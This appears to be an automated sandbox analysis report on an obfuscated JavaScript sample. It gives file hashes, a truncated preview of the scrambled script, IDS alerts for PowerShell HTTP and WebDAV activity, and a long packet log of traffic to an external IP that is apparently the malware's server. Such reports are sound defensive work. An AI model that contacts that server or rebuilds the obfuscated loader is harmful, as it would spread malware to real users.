SHA1:	c015c19a5f3cc2d5e5aff73045b6b1a99e0882b7
SHA256:	46c3e35f32f451746255e16cdd615a38f2046028146cc530adedea29ce2af791
SHA512:	16e7eb949137c48cd7fb79938e7a1cc58ba2a7d8a82d0e9340f9e493d17bca808265ab64ddf46f7e4e603b6bc03f8fa4412b19032a935bfa59e01b6e918db57e
SSDEEP:	384:n3aPaaaGaaaEGVfwWXBITC2ugURlrJOl0nGXOqdmjq140G17d0ijEfZoDi/0Yzy1:n3aPaaaGaaaEkYWRIT3unPB
TLSH:	EAA285C1B9240346FDEC4D8C320364DB565D59CC88C8676E8A417819BB77BB63CEAA73
File Content Preview:	function rluqh(){ecthyxrb=[1031,3079,5127,4103,2055,3072];var zusivntk=this[ckacaq+wewldall+hyxcp+uwiock+apoevrci+detetadr+mljrujie+nlkskp](this[hywtkw+mpdkuffzl+msejg+hyxcp+ptizt+ckacaq+nlkskp][ozjubvx+hyxcp+apoevrci+wewldall+nlkskp+apoevrci+rvyeee+cmezh

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T17:13:07.461785+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T17:13:09.943635+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:13:06.630338907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:06.635240078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:06.635380983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:06.638933897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:06.643754959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.461693048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.461720943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.461734056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.461755991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.461769104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.461781979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.461785078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.461790085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.461796045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.461807966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.461822987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.461839914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.461858034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.466619968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.515840054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.515863895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.515898943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.515960932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.515980005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.516001940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.568383932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.587213993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.587239981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.587256908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.587274075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.587327003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.587368011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.587441921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.587454081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.587466955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.587479115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.587491035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.587505102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.587537050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.588191032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.588202000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.588243961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.588424921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.588434935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.588465929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.588573933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.588610888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.588625908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.588643074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.588656902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.588673115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.588677883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.588709116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.589468956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.589488983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.589500904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.589524984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.602564096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.602648973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.641304016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.641323090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.641341925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.641360998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.641367912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.641458035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.641498089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.679565907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.679625034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.679697990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.716829062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.716852903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.716866970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.716928959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.716934919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.716953993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.716965914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.716978073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.716984987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.716988087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.716999054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.717024088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.717698097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.717710018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.717721939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.717732906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.717746019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.717749119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.717760086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.717768908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.717775106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.717820883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.717839003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.718453884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.718467951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.718480110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.718492985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.718507051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.718506098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.718519926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.718533993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.718537092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.718560934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.719223022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.719274044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.719307899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.719332933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.719343901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.719355106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.719367981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.719374895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.719383001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.719410896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.719428062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.720176935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.720202923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.720216990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.720227957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.720241070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.720246077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.720267057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.720295906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.720308065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.720330954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.721005917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.721016884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.721056938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.729125023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.729142904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.729229927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.768846035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.768872023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.768884897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.768898010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.768910885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.768912077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.768923044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.768939972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.768942118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.768949986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.768989086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.803541899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.803571939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.803587914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.803596973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.803641081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.842226982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.842257023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.842269897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.842281103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.842297077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.842298031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.842335939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.842346907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.842396975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.842401028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.842413902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.842426062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.842451096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.842505932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.842520952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.842540979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.842547894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.842586994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.842879057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.842889071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.842932940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.843025923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.843038082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.843050957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.843084097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.843147993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.843189955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.843219042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.843230963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.843244076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.843255043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.843270063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.843271017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.843292952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.843576908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.843662977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.843725920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.843738079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.843749046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.843760014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.843775034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.843775988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.843791008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.843797922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.843803883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.843817949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.843822956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.843827009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.843833923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.843858957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.843909979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.844567060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.844585896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.844600916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.844614983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.844628096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.844628096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.844640017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.844652891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.844655991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.844669104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.844677925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.844685078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.844696045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.844708920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.844743967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.845397949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.845410109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.845422983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.845437050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.845444918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.845451117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.845462084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.845474005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.845484972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.845499992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.845499992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.845510960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.845526934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.845535994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.845541000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.845550060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.845590115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.847204924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.847222090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.847234964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.847260952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.847362995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.847376108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.847388029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.847402096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.847407103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.847415924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.847428083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.847440958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.847448111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.847449064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.847455978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.847479105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.850385904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.859942913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.859958887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.859971046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.859982014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.859993935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.860006094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.860029936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.860044003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.860064983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.860132933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.860152006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.860158920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.860173941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.860191107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.860196114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.860204935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.860217094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.860230923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.860232115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.860259056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.890448093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.890465021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.890497923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.894067049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.894088030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.894099951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.894112110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.894121885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.894128084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.894143105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.894145012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.894192934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.894213915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.894224882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.894256115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.929045916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.929061890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.929080963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.929095984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.929102898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.929110050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.929136992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.929136992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.929151058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.929161072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.929183006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.929183960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.929195881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.929208040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.929220915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.929222107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.929234982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.929248095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.929248095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.929260969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.929267883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.929274082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.929320097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.932471037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.942394972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.967631102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.967669010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.967683077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.967690945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.967698097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.967710018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.967722893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.967735052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.967736006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.967746973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.967760086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.967776060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.967782974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.967786074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:07.967797041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.967860937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:07.967897892 CET	80	49704	193.143.1.205	192.168.2.5
